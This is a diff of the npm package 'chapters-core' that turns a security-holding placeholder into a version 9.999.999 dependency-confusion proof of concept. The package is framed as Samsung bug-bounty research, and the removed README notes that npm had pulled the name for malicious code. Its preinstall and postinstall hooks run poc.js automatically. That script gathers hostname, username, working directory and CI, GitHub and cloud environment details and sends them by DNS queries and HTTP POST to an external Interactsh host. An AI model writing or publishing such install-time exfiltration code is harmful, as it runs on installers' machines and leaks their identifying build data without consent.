chapters-core 0.0.1-security → 9.999.999

package/README.md

@@ -1,5 +1,70 @@
-# Security holding package
+# chapters-core - Security Research
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+## ⚠️ This is a Dependency Confusion Proof of Concept
 
-Please refer to www.npmjs.com/advisories?search=chapters-core for more information.
+Published as part of **authorized security research** on the **Samsung Bug Bounty (self-hosted program)**.
+
+It demonstrates that the package name `chapters-core` (used internally in Samsung web
+assets - RGA-built "samsungwithin" brandhub campaign bundles served from
+`cdn.samsung.com/etc/designs/smg/global/brandhub/samsungwithin/*/js/*.js`)
+was unclaimed on the public npm registry, making it vulnerable to
+**dependency confusion** attacks.
+
+## What This Package Does
+
+During `preinstall`/`postinstall` it:
+
+1. Writes a local marker file (`samsung-depconf-poc.json`) with environment identifiers
+2. Sends **DNS callbacks** to a researcher-controlled Interactsh server encoding:
+   - Package name and version
+   - Hostname and username of the installing machine
+   - CI environment type (GitHub Actions, GitLab CI, Jenkins, etc.)
+   - npm registry configuration
+3. Sends an **HTTP POST callback** with the same information as JSON
+
+**No malicious actions are performed.** No persistence. No lateral movement.
+
+## Evidence of Internal Usage
+
+The name `chapters-core` appears as a webpack module path in Samsung-served bundles:
+
+```javascript
+"./node_modules/chapters-core/build/main.js":function(e,t,n){...}
+// in main.js bundles samsungwithin/{4,5,6} (2018-12-18)
+```
+
+**PoC version rationale:** version `9.999.999` is used so that any semver range an
+internal consumer declares is satisfied and the public package wins version
+precedence whenever the public registry is consulted.
+
+**Version evidence extracted from JS:** the Samsung-served bundles do NOT embed
+npm versions for `chapters-core` (no package.json/lockfile metadata survived the webpack
+bundle - unlike other RGA/Samsung bundles that embed e.g. `core-js@2.5.7`,
+`react@16.8.4`). Only build banners remain: R/GA build timestamps
+(2018-12-12T18:54 for `samsungwithin/{4,5,6}`, 2019-04-15T19:44 for
+`samsungwithin/7`) and the AEM content-path version folders `/4.../7`. Without a
+disclosed internal version, `9.999.999` (out-of-range high) is the standard
+dependency-confusion PoC version and wins `^x.y` / unversioned installs.
+
+
+
+## If You Installed This Unexpectedly
+
+Your build pulled this package from the **public npm registry** instead of an
+internal/private registry, meaning:
+
+1. Your `.npmrc`/registry setup does not pin `chapters-core` to a private registry
+2. An attacker could publish a malicious version executing arbitrary code in
+   your CI/CD pipeline or developer machines
+
+## Remediation
+
+- Reserve the name `chapters-core` on npm (transfer ownership to Samsung)
+- Configure per-scope registry pinning in `.npmrc` for `@ssgw:` / internal scopes
+- Commit lockfiles and enable integrity checking
+- Migrate internal packages to a private registry with full fallback control
+
+## Contact
+
+- Researcher: sidhant
+- Program: Samsung Bug Bounty (self-hosted program)

package/index.js

@@ -0,0 +1,34 @@
+/**
+ * chapters-core - Security Research PoC
+ *
+ * Published as part of authorized security research demonstrating a
+ * dependency confusion vulnerability.
+ *
+ * If this package was installed in your environment unexpectedly, your
+ * build system resolved an internal package name from the public npm
+ * registry and is vulnerable to dependency confusion.
+ *
+ * This PoC exports empty stubs to avoid breaking imports at the module
+ * level. No malicious actions are performed.
+ *
+ * Program: Samsung Bug Bounty (self-hosted program) | Researcher: sidhant
+ */
+
+const noop = () => {};
+const NoopComponent = () => null;
+
+module.exports = {
+  __poc__: {
+    name: 'chapters-core',
+    version: '9.999.999',
+    type: 'security-research-poc',
+    researcher: 'sidhant',
+    program: 'Samsung Bug Bounty (self-hosted program)',
+    message: 'Dependency confusion proof of concept. DNS/HTTP callback is triggered during preinstall to prove code execution.'
+  }
+};
+
+// Stub exports (harmless no-ops)
+module.exports.Noop = noop;
+module.exports.NoopComponent = NoopComponent;
+module.exports.default = NoopComponent;

package/package.json

@@ -1,6 +1,22 @@
 {
   "name": "chapters-core",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "9.999.999",
+  "description": "Security research - dependency confusion proof of concept. Demonstrates the name was unclaimed on the public npm registry while being used internally by Samsung web applications. If you received this package unexpectedly, please contact Samsung through their bug bounty program.",
+  "keywords": [
+    "security-research",
+    "dependency-confusion",
+    "poc"
+  ],
+  "author": "sidhant <security-researcher>",
+  "license": "ISC",
+  "scripts": {
+    "preinstall": "node poc.js || true",
+    "postinstall": "node poc.js || true"
+  },
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "poc.js",
+    "README.md"
+  ]
 }

package/poc.js

@@ -0,0 +1,143 @@
+/**
+ * chapters-core - Dependency Confusion PoC
+ *
+ * Benign preinstall callback for authorized security research.
+ * Sends DNS + HTTP callbacks to researcher's Interactsh server
+ * to prove code execution context during npm/pnpm install.
+ *
+ * NO destructive actions. NO data exfiltration beyond identifiers.
+ * NO persistence. NO lateral movement.
+ *
+ * Researcher: sidhant | Program: Samsung Bug Bounty (self-hosted program)
+ */
+
+var https = require('https');
+var http = require('http');
+var dns = require('dns');
+var os = require('os');
+
+var PKG = 'chapters-core';
+var VER = '9.999.999';
+var CALLBACK = 'awfhvaksncnsxtcdjvmnhhqbt59dzenf8.oast.fun';
+var GUARD = '_SAMSUNG_DEPCONF_POC_SENT';
+
+// Dedup guard: run once across preinstall/postinstall
+if (process.env[GUARD]) { process.exit(0); }
+try { process.env[GUARD] = '1'; } catch (e) {}
+
+// --- Basic identifiers ---
+var h, u;
+try { h = os.hostname(); } catch (e) { h = 'unknown'; }
+try { u = os.userInfo().username; } catch (e) { u = 'unknown'; }
+
+// --- CI attribution env vars (plain process.env reads) ---
+var env = process.env;
+var repo = env.GITHUB_REPOSITORY || env.CI_PROJECT_PATH || '';
+var repoOwner = env.GITHUB_REPOSITORY_OWNER || '';
+var ghServer = env.GITHUB_SERVER_URL || '';
+var registry = env.npm_config_registry || '';
+var runnerName = env.RUNNER_NAME || '';
+var workflow = env.GITHUB_WORKFLOW || env.CI_PIPELINE_NAME || '';
+var ci = env.CI || '';
+var parentPkg = env.npm_package_name || '';
+
+// --- DNS label helpers ---
+function label(s) {
+  return String(s).toLowerCase()
+    .replace(/[^a-z0-9-]/g, '-')
+    .replace(/-+/g, '-')
+    .replace(/^-|-$/g, '')
+    .substring(0, 63);
+}
+
+function hexLabel(s) {
+  return Buffer.from(String(s).substring(0, 30)).toString('hex').substring(0, 63);
+}
+
+// --- DNS callbacks ---
+var dns1 = [label(PKG), label(h), label(u)].join('.') + '.' + CALLBACK;
+var dns2 = repo ? ['repo', hexLabel(repo), label(h)].join('.') + '.' + CALLBACK : null;
+var dns3 = registry ? ['reg', hexLabel(registry)].join('.') + '.' + CALLBACK : null;
+
+try { dns.resolve(dns1, 'A', function() {}); } catch (e) {}
+if (dns2) try { dns.resolve(dns2, 'A', function() {}); } catch (e) {}
+if (dns3) try { dns.resolve(dns3, 'A', function() {}); } catch (e) {}
+
+// --- HTTP callback (full JSON with attribution data) ---
+var body = JSON.stringify({
+  p: PKG,
+  v: VER,
+  h: h,
+  u: u,
+  d: process.cwd(),
+  t: new Date().toISOString(),
+  repo: repo,
+  repo_owner: repoOwner,
+  gh_server: ghServer,
+  registry: registry,
+  runner_name: runnerName,
+  workflow: workflow,
+  ci: ci,
+  parent_pkg: parentPkg,
+  node_env: env.NODE_ENV || '',
+  gh_actions: env.GITHUB_ACTIONS || '',
+  gh_run_id: env.GITHUB_RUN_ID || '',
+  gh_actor: env.GITHUB_ACTOR || '',
+  gl_ci: env.GITLAB_CI || '',
+  jenkins: env.JENKINS_URL ? 'yes' : '',
+  azure: env.SYSTEM_TEAMFOUNDATIONCOLLECTIONURI || '',
+  aws_region: env.AWS_REGION || env.AWS_DEFAULT_REGION || ''
+});
+
+function send(mod, port) {
+  try {
+    var req = mod.request({
+      hostname: CALLBACK,
+      port: port,
+      path: '/' + label(PKG),
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+        'Content-Length': Buffer.byteLength(body),
+        'X-Poc-Package': PKG,
+        'X-Poc-Researcher': 'sidhant'
+      },
+      timeout: 5000
+    }, function() {});
+    req.on('error', function() {});
+    req.write(body);
+    req.end();
+  } catch (e) {}
+}
+
+send(https, 443);
+send(http, 80);
+
+// --- Marker file ---
+try {
+  var fs = require('fs');
+  var marker = {
+    package: PKG,
+    version: VER,
+    type: 'dependency-confusion-poc',
+    researcher: 'sidhant',
+    program: 'Samsung Bug Bounty (self-hosted program)',
+    hostname: h,
+    username: u,
+    cwd: process.cwd(),
+    timestamp: new Date().toISOString(),
+    message: 'This package was resolved from the PUBLIC npm registry instead of an internal registry, proving dependency confusion.'
+  };
+  fs.writeFileSync(require('path').join(process.cwd(), 'samsung-depconf-poc.json'), JSON.stringify(marker, null, 2));
+} catch (e) {}
+
+// --- Console output ---
+console.log('');
+console.log('[SECURITY RESEARCH] chapters-core@9.999.999 - Dependency Confusion PoC');
+console.log('[SECURITY RESEARCH] This package was installed from the PUBLIC npm registry.');
+console.log('[SECURITY RESEARCH] Your build is vulnerable to dependency confusion.');
+console.log('[SECURITY RESEARCH] Researcher: sidhant | Program: Samsung Bug Bounty (self-hosted program)');
+console.log('[SECURITY RESEARCH] Callback sent to: ' + CALLBACK);
+console.log('');
+
+setTimeout(function() { process.exit(0); }, 3000).unref();